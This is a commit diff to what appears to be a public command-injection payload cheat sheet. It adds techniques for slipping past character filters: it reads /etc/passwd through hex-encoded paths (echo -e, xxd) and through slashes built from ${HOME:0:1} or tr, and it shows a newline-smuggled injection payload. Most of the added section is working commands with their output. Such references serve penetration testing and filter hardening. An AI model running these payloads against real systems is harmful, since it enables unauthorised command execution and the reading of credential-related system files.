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Added additional character filter bypasses

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HLOverflow 2020-03-15 01:09:28 +08:00 committed by GitHub
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Command Injection/README.md
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@ -108,6 +108,58 @@ ping%PROGRAMFILES:~10,-5%IP
something%0Acat%20/etc/passwd
```
### Bypass characters filter via hex encoding
linux
```
swissky@crashlab▸ ~ ▸ $ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```
### Bypass characters filter
Commands execution without backslash and slash - linux bash
```
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1}
/
swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1'
/
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< .
/
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
### Bypass Blacklisted words
#### Bypass with single quote